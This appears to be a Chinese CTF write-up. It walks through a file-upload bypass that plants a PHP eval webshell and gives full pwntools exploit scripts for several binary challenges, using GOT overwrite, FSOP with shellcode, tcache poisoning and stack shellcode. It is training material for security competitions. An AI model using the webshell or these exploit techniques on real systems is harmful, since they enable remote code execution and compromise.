即可得到Flag。
Upload 打开得到界面
首先尝试是否是sql注入
但发现无论如何都是返回
考虑这里并不存在sql注入
仔细查看源代码,发现
访问upload.php,得到
考虑此为文件上传,先尝试上传一张普通图片
上传成功
再尝试上传一句话木马,得到
再尝试上传图片马
还是不行
考虑是否为双写文件名绕过
先上传一句话木马,
1 <?php @eval($_POST['cmd']); echo"luck";?>
然后抓包
更改文件名
改完后发包
得到
访问7.php
一句话木马上传成功
用蚁剑连接
Pwn Signin 分析 题目流程很简单,也没有去符号,代码非常好读:
题中给了 puts 函数地址(可算出libc基址),给了一次任意写的机会,并且最后调用了 strlen(“/bin/sh”)。
那么提示其实很明显了,既然我们传统的 got 表不可写,我们把目光放在 libc 中部分函数同样存在的 got 表 ↓
根据 rip 寻址我们能找到:
将这个位置修改为我们的 system 即可调用后门函数。
Exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) elf = ELF('./Signin' ) context(arch = elf.arch, os = 'linux' ,log_level = 'debug' ) p = process('./Signin' ) ru("Here is your gift:" ) libc_leak = int (ru('\n' ),16 ) libc_base = libc_leak - 0x80ed0 system_addr = libc_base + 0x50d60 strlen_got = libc_base + 0x219098 sea("So tell me your magic addr:" ,str (strlen_got)) sea("Good!What's then?" ,p64(system_addr)) p.interactive()
LittleBox 2.35 的沙盒 orw 利用。
分析 题目还是比较好读,首先给了 libc 地址,然后 mmap 了一块空间,可以读入数据。最后给了一次任意写 8 字节。
思路 在 mmap 出来的区域提前布置好 _IO_FILE 结构体和 SigreturnFrame 任意写劫持 _IO_list_all exit 进入 FSOP ,执行 shellcode 拿 flag Exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) lg = lambda name,data :p.success(name + ': \033[1;36m 0x%x \033[0m' % data) elf = ELF('./pwn' ) context(arch = elf.arch, os = 'linux' ,log_level = 'debug' ,terminal = ['tmux' , 'splitw' , '-hp' ,'62' ]) p = process('./pwn' ) ru("here is your gift:" ) libc_leak = int (ru('\n' ),16 ) libc_base = libc_leak - 0x80ed0 lg('libc_leak' ,libc_leak) lg('libc_base' ,libc_base) setcontext_61 = libc_base + 0x53a6d _IO_wfile_jumps = libc_base + 0x2160c0 _IO_list_all = libc_base + 0x21a680 shellcode = \ asm( shellcraft.close(0 ) + \ shellcraft.pushstr('./flag' ) + \ shellcraft.openat('-100' ,'rsp' ) + \ shellcraft.read('rax' ,'rsp' ,'0x100' ) + \ shellcraft.write(1 ,'rsp' ,'0x100' ) + \ shellcraft.exit(0 ) ) addr = 0x7575000 FAKE_IO_FILE = pack(~(2 | 0x8 | 0x800 )) + p64(0 )*4 + p64(1 ) + shellcode FAKE_IO_FILE = FAKE_IO_FILE.ljust(0x88 ,'\0' ) FAKE_IO_FILE += p64(addr+0x10 +0x88 ) FAKE_IO_FILE = FAKE_IO_FILE.ljust(0xa0 ,'\0' ) FAKE_IO_FILE += p64(addr+0x10 +0xe0 ) FAKE_IO_FILE = FAKE_IO_FILE.ljust(0xd8 ,'\0' ) FAKE_IO_FILE += p64(_IO_wfile_jumps) + p64(addr+0x10 +0x30 ) FAKE_FRAME = '\0' *0x60 FAKE_FRAME += p64(addr) FAKE_FRAME += p64(0x1000 ) FAKE_FRAME = FAKE_FRAME.ljust(0x88 -8 ,'\0' ) FAKE_FRAME += p64(7 ) FAKE_FRAME = FAKE_FRAME.ljust(0xa0 -8 ,'\0' ) + p64(addr+0xf0 ) +p64(libc_base + 0x11ec50 ) FAKE_FRAME = FAKE_FRAME.ljust(0xe0 -8 ,'\0' ) + p64(addr+0x1d8 -0x68 ) + p64(setcontext_61) payload = 'no' .ljust(0x10 ,'\0' ) payload += FAKE_IO_FILE + FAKE_FRAME + '\0' sea("say about the signin pwn?" ,payload) sea("Just tell me your magic addr:" ,str (_IO_list_all)) sea("Good!Then show me your magic:" ,p64(addr+0x10 )) p.interactive()
Superfluous 一般的 2.35 下的堆利用,没开沙盒。
分析 题目实现了增删查改的功能,是一个常规堆题。
找到漏洞就比较好办了,本题的漏洞位置比较不同于以往的 dele 和 edit 处。
漏洞在 add 时没有对下标 i 进行限制,导致下标越界到 content 数组,在留下残余大小的情况下可以实现堆溢出。
思路 堆溢出改大 chunk size 进 ub 泄露 libc 地址 堆溢出泄露堆地址 一次 Tcache Poisoning 打 fskey 一次 Tcache Poisoning 打 tls_dtor_list exit()
getshellExp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 from pwn import *se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data) elf = ELF('./pwn' ) context(arch = elf.arch, os = 'linux' ,log_level = 'debug' ) p = process('./pwn' ) def menu (c ): sla("Your Choice:" ,str (c)) def add_note (name ): menu('1' ) sla("Name:" ,str (name)) def add_content (id ,size,data ): menu('2' ) sla("Index:" ,str (id )) sla("Size:" ,str (size)) sea("Data:" ,str (data)) def dele (id ): menu('3' ) sla("Index:" ,str (id )) def edit (id ,data ): menu('4' ) sla("Index:" ,str (id )) sea("Content:" ,str (data)) def show (id ): menu('5' ) sla("Index:" ,str (id )) for i in range (0x10 ): add_note("Just4Size" ) add_content(i,0x38 ,"aaa" ) for i in range (0x10 ): dele(i) for i in range (0x10 ): add_note("note{}" .format (i)) for i in range (0x10 ): add_note("data{}" .format (i)) for i in range (0x10 ): add_note("pad{}" .format (i)) edit(0 ,"a" *0x28 +p64(0x30 *0x18 +1 )) dele(1 ) edit(0 ,"a" *0x30 ) show(0 ) libc_leak = u64((ru('\x7f' ,drop=False )[-6 :]).ljust(8 ,'\0' )) libc_base = libc_leak - 0x219ce0 lg('libc_leak' ,libc_leak) lg('libc_base' ,libc_base) edit(0 ,"a" *0x28 +p64(0x30 *0x18 +1 )) add_note("pad" ) dele(3 ) edit(2 ,'u' *0x30 ) show(2 ) ru('u' *0x30 ) heap_leak = u64(rc(5 ).ljust(8 ,'\0' )) heap_base = heap_leak << 12 lg('heap_leak' ,heap_leak) lg('heap_base' ,heap_base) edit(2 ,'u' *0x28 +p64(0x31 )) fskey = libc_base - 0x2890 environ = libc_base + 0x221200 dele(5 ) edit(4 ,'u' *0x28 +p64(0x31 )+p64(fskey^heap_leak)) add_note("note3" ) add_content(3 ,0x28 ,"data3" ) add_note('\0' *15 ) rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2 **max_bits-1 ) | \ ((val & (2 **max_bits-1 )) >> (max_bits-(r_bits%max_bits))) tls_dtor_list = libc_base - 0x2918 - 8 dele(8 ) edit(7 ,'u' *0x28 +p64(0x31 )+p64(tls_dtor_list^heap_leak)) add_note(p64(rol(libc_base + 0x50d60 ,0x11 ,64 ))+p64(libc_base + 0x1d8698 )[:6 ]) add_content(8 ,0x28 ,"data8" ) add_note(p64(heap_base+0x620 )+p64(heap_base+0x620 )[:7 ]) menu(0 ) p.interactive()
ret2sc
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
能开的保护是一个都没开,意味着条件允许甚至可以将shellcode直接送入栈中执行,但具体情况具体分析,将程序丢入ida
存放shellcode的地方以及进行栈溢出的地方都有了,上payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context(os='linux' ,arch='amd64' ) io = remote('www.ctf01.sierting.com' ,10312 ) shellcode = asm(shellcraft.sh()) payload = 'A' *(0x70 +8 )+p64(0x403560 ) io.sendline(shellcode) io.sendline(payload) io.interactive()
supeu_prophet Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
大多数保护打开,丢入ida发现是前一题的变体
payload如下:
1 2 3 4 5 6 7 8 9 10 from pwn import *io = remote('www.ctf01.sierting.com' ,10200 ) for i in range (0 ,100 ): io.sendlineafter('selection (rock/paper/scissors):\n' ,"rockpaperscissors" ) io.interactive()